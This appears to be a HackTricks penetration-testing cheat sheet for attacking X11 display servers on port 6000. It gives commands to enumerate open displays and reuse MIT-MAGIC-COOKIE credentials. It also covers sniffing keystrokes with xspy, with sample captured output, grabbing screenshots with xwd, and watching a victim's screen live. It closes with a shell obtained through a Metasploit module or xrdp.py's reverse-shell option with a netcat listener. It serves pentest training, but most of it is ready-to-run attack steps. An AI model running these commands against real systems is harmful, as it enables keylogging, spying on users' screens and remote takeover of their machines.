6000 - Pentesting X11

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Basic Information

X Window System (X) is a versatile windowing system prevalent on UNIX-based operating systems. It provides a framework for creating graphical user interfaces (GUIs), with individual programs handling the user interface design. This flexibility allows for diverse and customizable experiences within the X environment.

Default port: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeration

Check for anonymous connection:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Local Enumeration

The file .Xauthority in the users home folder is used by X11 for authorization. From here:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in ~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.

In order to use the cookie you should set the env var: export XAUTHORITY=/path/to/.Xauthority

Local Enumeration Session

$ w                 
 23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

In the example, localhost:0 was running xfce4-session.

Verfy Connection

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy to sniff the keyboard keystrokes.

Sample Output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Screenshots capturing

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Remote Desktop View

Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

First we need to find the ID of the window using xwininfo

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

For live viewing we need to use

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Get Shell

msf> use exploit/unix/x11/x11_keyboard_exec

Other way:

Reverse Shell: Xrdp also allows to take reverse shell via Netcat. Type in the following command:

./xrdp.py \<IP:0> –no-disp

In the interface you can see the R-shell option.

Then, start a Netcat listener in your local system on port 5555.

nc -lvp 5555

Then, put your IP address and port in the R-Shell option and click on R-shell to get a shell

References

Shodan

port:6000 x11

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Support HackTricks

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Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

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